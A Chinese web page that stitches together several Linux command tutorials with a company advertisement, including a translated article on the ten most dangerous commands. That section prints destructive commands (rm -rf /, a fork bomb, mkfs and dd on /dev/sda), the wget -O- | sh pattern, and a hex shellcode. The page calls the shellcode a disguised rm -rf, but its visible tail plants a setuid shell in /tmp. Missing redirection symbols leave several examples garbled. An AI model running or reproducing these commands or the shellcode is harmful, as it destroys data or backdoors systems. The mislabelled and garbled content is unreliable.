1、文件與文件夾(目錄)操作命令
公司主營業(yè)務(wù):成都做網(wǎng)站、網(wǎng)站制作、成都外貿(mào)網(wǎng)站建設(shè)、移動(dòng)網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競(jìng)爭(zhēng)能力。創(chuàng)新互聯(lián)是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對(duì)我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團(tuán)隊(duì)有機(jī)會(huì)用頭腦與智慧不斷的給客戶帶來驚喜。創(chuàng)新互聯(lián)推出新區(qū)免費(fèi)做網(wǎng)站回饋大家。
1)rm:刪除命令
例:$ rm -i 文件名-------------有詢問“Y/N”; rm -r 文件名 ---------------刪除該文件夾和子目錄下的所有文件;
例:$ rm -f 文件名------------- 直接刪除,不詢問
2) mv:移動(dòng)目錄或文件,還可以重命名
例:$ mv text /zzz -------------將text移動(dòng)到zzz目錄下;
例:$ mv text zzz ---------------text重命名為zzz
3) mkdir:創(chuàng)建路徑和刪除路徑,創(chuàng)建目錄
例:$ mkdir zzz -------------在當(dāng)前目錄下創(chuàng)建zzz的目錄;
例:$ rmdir zzz ---------------刪除目錄zzz
4) touch :創(chuàng)建空文件
例:$ touch zzz.xx ----------------創(chuàng)建文件名是zzz.xx的文件
5)cat :查看文件內(nèi)容
例:$ cat zzz.xx -----------------查看文件zzz.xx中的內(nèi)容
6)tail :監(jiān)視文件尾部?jī)?nèi)容,默認(rèn)10行
例:$ tail -n 20 -f zzz.xx -----------查看文件zzz.xx的尾部20行內(nèi)容
7)cp :復(fù)制
例:$ cp a.xx b -------將a.xx文件復(fù)制到b目錄(文件夾)下
8)scp :拷貝文件
例:$ scp -i zzz.xx root@192.168.1.35:/xxx/xxxx/ -----------------從一臺(tái)虛擬機(jī)上將文件zzz.xx拷貝到另外一臺(tái)35的虛擬機(jī)的指定目錄下;
例:$ scp -r zzz root@192.168.1.35:/xxx/xxxx/ -----------------從一臺(tái)虛擬機(jī)上將文件夾(目錄)zzz拷貝到另外一臺(tái)35的虛擬機(jī)的指定目錄下
9)chmod :給文件賦權(quán)限
例:$ chmod 777 zzz.xx 給zzz.xx文件增加可執(zhí)行的權(quán)限2、查看端口號(hào)的命令 : netstat -antpl
3、查看正在執(zhí)行的進(jìn)程的命令 : ps -ef
4、強(qiáng)制殺死xxxx該進(jìn)程的命令 :kill - 9 xxxx
5、配置Java環(huán)境變量的命令:
先執(zhí)行---- vi /etc/profile 配置結(jié)束執(zhí)行------- socrce /etc/profice 然后執(zhí)行-------cat /etc/profile進(jìn)行查看,用java -version查看Java版本
6、df -h ----------------是查看磁盤容量的使用情況
必要參數(shù):
-a 全部文件系統(tǒng)列表
-h 方便閱讀方式顯示
-H 等于“-h”,但是計(jì)算式,1K=1000,而不是1K=1024
-i 顯示inode信息
-k 區(qū)塊為1024字節(jié)
-l 只顯示本地文件系統(tǒng)
-m 區(qū)塊為1048576字節(jié)
--no-sync 忽略 sync 命令
-P 輸出格式為POSIX
--sync 在取得磁盤信息前,先執(zhí)行sync命令
-T 文件系統(tǒng)類型
選擇參數(shù):
--block-size=區(qū)塊大小 指定區(qū)塊大小
-t文件系統(tǒng)類型 只顯示選定文件系統(tǒng)的磁盤信息
-x文件系統(tǒng)類型 不顯示選定文件系統(tǒng)的磁盤信息
--help 顯示幫助信息
--version 顯示版本信息
“df -h”這條命令再熟悉不過。以更易讀的方式顯示目前磁盤空間和使用情況。
“df -i” 以inode模式來顯示磁盤使用情況。
7、網(wǎng)絡(luò)命令
1)ifconfig :查看用戶網(wǎng)絡(luò)配置。它顯示當(dāng)前網(wǎng)絡(luò)設(shè)備配置。補(bǔ)充:Windows 用的是 ipconfig
2)ping 將數(shù)據(jù)包發(fā)向用戶指定地址。當(dāng)包被接收,目標(biāo)機(jī)器發(fā)送返回?cái)?shù)據(jù)包。ping 主要有兩個(gè)作用:
用來確認(rèn)網(wǎng)絡(luò)連接是暢通的。
用來查看連接的速度信息。
Linux中最危險(xiǎn)的10個(gè)命令
對(duì)于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時(shí)候也很危險(xiǎn),尤其是在你誤操作或者不確定你自己在正在做什么的時(shí)候。下面我就為大家盤點(diǎn)最危險(xiǎn)是10個(gè)命令,一起來看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項(xiàng)。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說錯(cuò)了,從常識(shí)看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個(gè)參數(shù) 只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會(huì)將rm通過別名的方式增加-i參數(shù)來 要求刪除確認(rèn),而-f則抑制了這個(gè)提示。)
rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時(shí)請(qǐng)留心一點(diǎn)。我們可以在“.bashrc”文件對(duì)‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時(shí)的事故,它會(huì)要求你確認(rèn)每一個(gè)刪除請(qǐng)求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請(qǐng)這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個(gè)fork 炸彈的實(shí)例。具體操作是通過定義一個(gè)名為 ‘:‘的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~
3. 命令 /dev/sda
上列命令會(huì)將某個(gè)‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個(gè)命令會(huì)移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動(dòng)到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會(huì)將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會(huì)從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會(huì)格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動(dòng)器)會(huì)被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會(huì)直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對(duì)塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會(huì)被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過請(qǐng)?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個(gè)文件。)。如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似 “xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個(gè)命令在“鮮為人知而又實(shí)用的 Linux 命令大全:”中描述過,用來編輯先前運(yùn)行的命令而無需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實(shí)就是上面第一個(gè)命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無知的用戶可能就會(huì)被愚弄。在終端里運(yùn)行下面命令可能會(huì)擦除你的根分區(qū)。
這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會(huì)被輕易的檢測(cè)到。你必須時(shí)刻留心你在做什么結(jié)果會(huì)怎樣。不要編譯/運(yùn)行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個(gè)命令,因?yàn)檫@將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測(cè)試它們,請(qǐng)?jiān)谔摂M機(jī)上運(yùn)行。
;
1.列出文件清單命令:ls
ls命令能夠列出當(dāng)前目錄下的所有內(nèi)容。ls 命令的執(zhí)行方式為:
# ls [-選項(xiàng)] [文件名或者目錄名]
進(jìn)入到Linux命令行中后,我們至少要知道當(dāng)前所處的位置有哪些內(nèi)容,這些信息就可以使用ls命令來獲得。
在Linux中,ls命令是最常使用的命令之一,因?yàn)樵诿钚邢乱S時(shí)查看目錄內(nèi)容。如果不加任何選項(xiàng)的話,ls命令僅列出當(dāng)前目錄下的文件和目錄名,例如,想要查看/etc目錄下的內(nèi)容,可以使用下列命令:
# ls /etc
如果想要列出當(dāng)前目錄下所有文件,則可以使用下列命令:
# ls -a
2、cat命令
功能:在標(biāo)準(zhǔn)輸出上顯示文件。
語法:cat [-vTEuAte] 文件
例子: cat example.txt
cat -A exam2.txt
cat file1 file2 file2
3、more命令
功能:在終端屏幕按屏顯示文本文件。
語法: more [-pcdls] 文件
例子: more example.c
more -dc example.c
more -c -10 example.c
4、less命令
less命令的功能幾乎和more命令一樣,也是用來按頁顯示文件,不同之處在于less命令在顯示文件時(shí)允許用戶既
可以向前又可以向后翻閱文件。
5、head命令
功能:顯示指定文件的前若干行。缺省設(shè)置為顯示10行
語法:head [-n] 文件
例子: head example.c
head -3 example.c
6、tail命令
功能:顯示指定文件的末尾若干行。缺省設(shè)置為顯示10行
語法:tail [+ / - num ] [參數(shù)] 文件
+num 從第num行以后開始顯示。- num 從距文件尾num行處開始顯示。
例子: tail example.c
tail -4 example.c
7、grep、fgrep和egrep命令
功能:
這組命令以指定模式搜索文件,并通知用戶在什么文件中搜索到與指定的模式匹配的字符串,并打印出所有包含該字符串的文本行,在該文本行的最前面是該行所在的文件名。grep命令一次只能搜索一個(gè)指定的模式;egrep命令檢索擴(kuò)展的正則表達(dá)式(包括表達(dá)式組和可選項(xiàng));fgrep命令檢索固定字符串,它不識(shí)別正則表達(dá)式,是快速搜索命令。
語法:
grep [-EFbcihlnvxef] [查找模式] [文件名1,文件名2,……]
egrep [選項(xiàng)] [查找模式] [文件名1,文件名2,……]
fgrep [選項(xiàng)] [查找模式] [文件名1,文件名2,……]
例子: grep "text file" example
grep data *
grep goto *.c
Linux
find命令用來在指定目錄下查找文件。任何位于參數(shù)之前的字符串都將被視為欲查找的目錄名。如果使用該命令時(shí),不設(shè)置任何參數(shù),則find命令將在當(dāng)前目錄下查找子目錄與文件,并且將查找到的子目錄和文件全部進(jìn)行顯示。
語法格式:
find path -option [ -print ] [ -exec -ok command ] {} \;
參數(shù)說明:
find根據(jù)下列規(guī)則判斷path和expression,在命令列上第一個(gè)-(),!之前的部分為path,之后的部分是expression。如果path是空字串則使用目前路徑,如果expression是空字串則使用-print為預(yù)設(shè)expression。
expression中可使用的選項(xiàng)有二三十個(gè),在此只介紹常用的部分。
-mount,-xedv:只檢查和指定目錄在同一個(gè)文件系統(tǒng)下的文件,避免列出其他文件系統(tǒng)中的文件;
-amin n:在過去n分鐘內(nèi)被讀取過;
-anewer file:比文件file更晚被讀取過的文件;
-atime n:在過去n天內(nèi)被讀取過的文件;
-cmin n:在過去n分鐘內(nèi)被修改過;
-cnewer file:比文件file更新的文件;
-ctime n:在過去n天內(nèi)被修改過的文件;
-empty:空的文件-gid n or -group name:gid是n或是group名稱是name;
-ipath p,-path p:路徑名稱符合p的文件,ipath會(huì)忽略大小寫;
-name name,-iname name:文件名稱符合name的文件,iname會(huì)忽略大小寫;
-size n:文件大小是n單位,b代表512位元組的區(qū)塊,c表示字元數(shù),k表示kilo bytes,w是二個(gè)位元組。
-type c:文件類型是C的文件。
linux 常用命令有:
pwd 命令
使用 pwd 命令找出您所在的當(dāng)前工作目錄(文件夾)的路徑。該命令將返回一個(gè)絕對(duì)(完整)路徑,該路徑基本上是所有以 / 開頭的目錄的路徑。絕對(duì)路徑的一個(gè)示例是 /home/username。
cd 命令
要瀏覽 Linux 文件和目錄,請(qǐng)使用 cd 命令。根據(jù)您所在的當(dāng)前工作目錄,它需要目錄的完整路徑或名稱。假設(shè)您位于 /home/username / Documents 中,并且想要轉(zhuǎn)到 Documents 的子目錄 Photos。為此,只需鍵入以下命令:cd Photos。另一種情況是,如果您想切換到一個(gè)全新的目錄,例如 /home/username / Movies。在這種情況下,您必須輸入 cd,然后輸入目錄的絕對(duì)路徑:cd /home/username / Movies。有一些快捷方式可幫助您快速導(dǎo)航:cd ..(帶有兩個(gè)點(diǎn))將一個(gè)目錄向上移動(dòng) cd 直接轉(zhuǎn)到主文件夾 cd-(帶連字符)移動(dòng)到上一個(gè)目錄附帶說明一下,Linux 的 shell 是區(qū)分大小寫的。因此,您必須準(zhǔn)確輸入名稱的目錄。
ls 命令
LS 命令用于查看目錄的內(nèi)容。默認(rèn)情況下,此命令將顯示當(dāng)前工作目錄的內(nèi)容。如果要查看其他目錄的內(nèi)容,請(qǐng)鍵入 ls,然后鍵入目錄的路徑。例如,輸入 LS / 家 / 用戶名 / 文檔查看的內(nèi)容的文件。您可以使用 ls 命令使用以下變體:ls -R 還將列出子目錄中的所有文件 ls -a 將顯示隱藏的文件 ls -al 將列出文件和目錄以及詳細(xì)信息,例如權(quán)限,大小,所有者等。
cat 命令
cat(連接的縮寫)是 Linux 中最常用的命令之一。它用于在標(biāo)準(zhǔn)輸出(sdout)上列出文件的內(nèi)容。要運(yùn)行此命令,請(qǐng)鍵入 cat,然后輸入文件名及其擴(kuò)展名。例如:cat file.txt。以下是使用 cat 命令的其他方法:cat filename 創(chuàng)建一個(gè)新文件 cat filename1 filename2 filename3 連接兩個(gè)文件(1 和 2),并將它們的輸出存儲(chǔ)在新文件中(3)將文件轉(zhuǎn)換為大寫或小寫使用,cat filename | tr a-z A-Z output.txt
cp 命令
使用 cp 命令將文件從當(dāng)前目錄復(fù)制到另一個(gè)目錄。例如,命令 cp scenery.jpg/home /username/ Pictures 將在您的 Pictures 目錄中創(chuàng)建一個(gè) Scene.jpg 副本(來自當(dāng)前目錄)。
mv 命令
mv 命令的主要用途是移動(dòng)文件,盡管它也可以用于重命名文件。mv 中的參數(shù)類似于 cp 命令。您需要輸入 mv,文件名和目標(biāo)目錄。例如:mv file.txt/home /username/ Documents。
mkdir 命令
使用 mkdir 命令創(chuàng)建一個(gè)新目錄 - 如果鍵入 mkdir Music,它將創(chuàng)建一個(gè)名為 Music 的目錄。還有一些額外的 mkdir 命令:要在另一個(gè)目錄中生成新目錄,請(qǐng)使用此 Linux 基本命令 mkdir Music / Newfile 使用 p(父級(jí))選項(xiàng)在兩個(gè)現(xiàn)有目錄之間創(chuàng)建一個(gè)目錄。例如,mkdir -p Music / 2022 / Newfile 將創(chuàng)建新的 “2022” 文件。
rmdir 命令
如果需要?jiǎng)h除目錄,請(qǐng)使用 rmdir 命令。但是,rmdir 僅允許您刪除空目錄。
rm 命令
該 RM 命令用于刪除目錄以及其中的內(nèi)容。如果只想刪除目錄(作為 rmdir 的替代方法),請(qǐng)使用 rm -r。注意:使用此命令時(shí)要格外小心,并仔細(xì)檢查您所在的目錄。這將刪除所有內(nèi)容,并且沒有撤消操作。
touch 命令
該觸摸命令允許您創(chuàng)建通過 Linux 命令行新的空白文件。例如,輸入 touch /home/username/Documents/Web.html 在 Documents 目錄下創(chuàng)建一個(gè)名為 Web 的 HTML 文件。
locate 命令
您可以使用此命令來定位文件,就像 Windows 中的搜索命令一樣。此外,將 - i 參數(shù)與該命令一起使用將使其不區(qū)分大小寫,因此即使您不記得其確切名稱,也可以搜索文件。要搜索包含兩個(gè)或多個(gè)單詞的文件,請(qǐng)使用星號(hào)(*)。例如,locate -i school * note 命令將搜索包含單詞 “school” 和 “ note” 的任何文件,無論它是大寫還是小寫。
find 命令
在類似定位命令,使用 查找也搜索文件和目錄。區(qū)別在于,您可以使用 find 命令在給定目錄中查找文件。例如,find /home/-name notes.txt 命令將在主目錄及其子目錄中搜索名為 notes.txt 的文件。使用查找時(shí)的其他變化 是:要查找當(dāng)前目錄中使用的文件,請(qǐng)使用 find . -name notes.txt 要查找目錄,請(qǐng)使用 /-type d -name notes. txt13. grep 命令無疑對(duì)日常使用很有幫助的另一個(gè)基本 Linux 命令是 grep。它使您可以搜索給定文件中的所有文本。為了說明這一點(diǎn),grep blue notepad.txt 將在記事本文件中搜索單詞 blue。包含搜索到的單詞的行將被完整顯示。
sudo 命令
該命令是 “SuperUser Do” 的縮寫,使您能夠執(zhí)行需要管理或超級(jí)用戶權(quán)限的任務(wù)。但是,建議不要將此命令用于日常使用,因?yàn)槿绻鲥e(cuò)了一些事情,很容易發(fā)生錯(cuò)誤。
df 命令
使用 df 命令可獲取有關(guān)系統(tǒng)磁盤空間使用情況的報(bào)告,以百分比和 KB 表示。如果要以兆字節(jié)為單位查看報(bào)告,請(qǐng)輸入 df -m。
du 命令
如果要檢查文件或目錄占用了多少空間,答案是 du(磁盤使用情況)命令。但是,磁盤使用情況摘要將顯示磁盤塊號(hào),而不是通常的大小格式。如果要以字節(jié),千字節(jié)和兆字節(jié)為單位查看它,請(qǐng)?jiān)诿钚兄刑砑?- h 參數(shù)。
head 命令
所述頭命令用于查看任何文本文件的第一行。默認(rèn)情況下,它將顯示前十行,但是您可以根據(jù)自己的喜好更改此數(shù)字。例如,如果只想顯示前五行,則鍵入 head -n 5 filename.ext。
tail 命令
該命令與 head 命令具有相似的功能,但是 tail 命令將顯示文本文件的最后十行,而不是顯示第一行。例如,tail -n filename.ext。
diff 命令
diff 命令是差異的縮寫,diff 命令逐行比較兩個(gè)文件的內(nèi)容。分析文件后,它將輸出不匹配的行。程序員在需要進(jìn)行程序更改時(shí)經(jīng)常使用此命令,而不是重寫整個(gè)源代碼。此命令最簡(jiǎn)單的形式是 diff file1.ext file2.ext
tar 命令
該 tar 命令是最常用的命令歸檔多個(gè)文件到一個(gè)壓縮包。類似于 zip 格式常見的 Linux 文件格式,壓縮是可選的。該命令具有很長的功能列表,非常復(fù)雜,例如將新文件添加到現(xiàn)有檔案中,列出檔案內(nèi)容,從檔案中提取內(nèi)容等等。查看一些實(shí)際示例,以了解有關(guān)其他功能的更多信息。
chmod 命令
chmod 是另一個(gè) Linux 命令,用于更改文件和目錄的讀取,寫入和執(zhí)行權(quán)限。由于此命令相當(dāng)復(fù)雜,因此您可以閱讀完整的教程以正確執(zhí)行它。
chown 命令
在 Linux 中,所有文件均歸特定用戶所有。該 CHOWN 命令使您可以更改或文件的所有權(quán)轉(zhuǎn)讓給指定的用戶名。例如,chown linuxuser2 file.ext 將使 linuxuser2 成為 file.ext 的所有者。
Jobs 命令
jobs 命令將顯示所有當(dāng)前作業(yè)及其狀態(tài)。作業(yè)基本上是由 Shell 啟動(dòng)的進(jìn)程。
kill 命令
如果您的程序無響應(yīng),則可以使用 kill 命令手動(dòng)終止它。它將向運(yùn)行異常的應(yīng)用發(fā)送特定信號(hào),并指示該應(yīng)用自行終止。您總共可以使用 64 個(gè)信號(hào),但是人們通常只使用兩個(gè)信號(hào):SIGTERM(15) — 請(qǐng)求程序停止運(yùn)行,并給它一些時(shí)間來保存其所有進(jìn)度。如果在輸入 kill 命令時(shí)未指定信號(hào),則將使用此信號(hào)。SIGKILL(9) - 強(qiáng)制程序立即停止。未保存的進(jìn)度將丟失。除了知道信號(hào)之外,您還需要知道要?dú)⑺赖某绦虻倪M(jìn)程標(biāo)識(shí)號(hào)(PID)。如果您不知道 PID,只需運(yùn)行命令 ps ux。在知道您要使用什么信號(hào)以及程序的 PID 之后,輸入以下語法:kill [signal option] PID.
ping 命令
使用 ping 命令檢查與服務(wù)器的連接狀態(tài)。例如,只需輸入 ping google.com,該命令將檢查您是否能夠連接到 Google 并測(cè)量響應(yīng)時(shí)間。
wget 命令
Linux 命令行非常有用 - 您甚至可以在 wget 命令的幫助下從 Internet 下載文件。為此,只需鍵入 wget,然后輸入下載鏈接即可。
uname 命令
該 UNAME 命令,短期對(duì)于 Unix 名,將打印您的 Linux 系統(tǒng),如計(jì)算機(jī)名稱的詳細(xì)信息,操作系統(tǒng),內(nèi)核,等等。
top 命令
作為與 Windows 中的任務(wù)管理器等效的終端,top 命令將顯示正在運(yùn)行的進(jìn)程的列表以及每個(gè)進(jìn)程使用的 CPU 數(shù)量。監(jiān)視系統(tǒng)資源使用情況非常有用,尤其是知道哪個(gè)進(jìn)程由于消耗太多資源而需要終止時(shí)。
history 命令
當(dāng)您使用 Linux 一段時(shí)間后,您會(huì)很快注意到每天可以運(yùn)行數(shù)百個(gè)命令。因此,如果您想查看之前輸入的命令,運(yùn)行歷史記錄命令特別有用。
man 命令
對(duì)某些 Linux 命令的功能感到困惑嗎?不用擔(dān)心,您可以使用 man 命令從 Linux 的外殼程序中輕松地學(xué)習(xí)如何使用它們。例如,輸入 man tail 將顯示 tail 命令的手動(dòng)指令。
echo 命令
此命令用于將一些數(shù)據(jù)移到文件中。例如,如果要將文本 “Hello,我的名字叫 John” 添加到名為 name.txt 的文件中,則可以鍵入 echo Hello, my name is John name.txt
zip,unzip 命令
使用 zip 命令將文件壓縮到 zip 歸檔文件中,然后使用 unzip 命令從 zip 歸檔文件中提取壓縮文件。
hostname 命令
如果您想知道主機(jī) / 網(wǎng)絡(luò)的名稱,只需鍵入 hostname。在末尾添加 - I 將顯示您的網(wǎng)絡(luò)的 IP 地址。
useradd,userdel 命令
1.作用
Linux find命令用來在指定目錄下查找文件。 任何位于參數(shù)之前的字符串都將被視為欲查找的目錄名。如果使用該命令時(shí),不設(shè)置任何參數(shù),則find命令將在當(dāng)前目錄下查找子目錄與文件。并且將查找到的子目錄和文件全部進(jìn)行顯示。
2.格式:
3.常用參數(shù)
1.作用
netstat命令用于顯示與IP、TCP、UDP和ICMP協(xié)議相關(guān)的統(tǒng)計(jì)數(shù)據(jù),一般用于檢驗(yàn)本機(jī)各端口的網(wǎng)絡(luò)連接情況。netstat是在內(nèi)核中訪問網(wǎng)絡(luò)及相關(guān)信息的程序,它能提供TCP連接,TCP和UDP監(jiān)聽,進(jìn)程內(nèi)存管理的相關(guān)報(bào)告。
2.命令
usage:
netstat [-vWeenNcCF] [Af] -r netstat {-V|--version|-h|--help}
netstat [-vWnNcaeol] [Socket ...]
netstat { [-vWeenNac] -I[Iface] | [-veenNac] -i | [-cnNe] -M | -s [-6tuw] } [delay]
常用組合:
netstat -lntup
說明: l:listening n:num t:tcp u:udp p:process
查看linux所有被占用的端口
netstat -tulnp
可以通過netstat -tulnp | grep 端口號(hào)查看當(dāng)前端口號(hào)是否被占用
netstat -tulnp|grep 3306
-t(tcp)只顯示tcp相關(guān)的
-u(udp)只顯示udp相關(guān)的
-l(listening)只顯示監(jiān)聽服務(wù)的端口
-n(numeric)不解析名稱,能用數(shù)字表示的就不用別名(例如:localhost會(huì)轉(zhuǎn)成127.0.0.1)
-p(programs)顯示端口的PID和程序名稱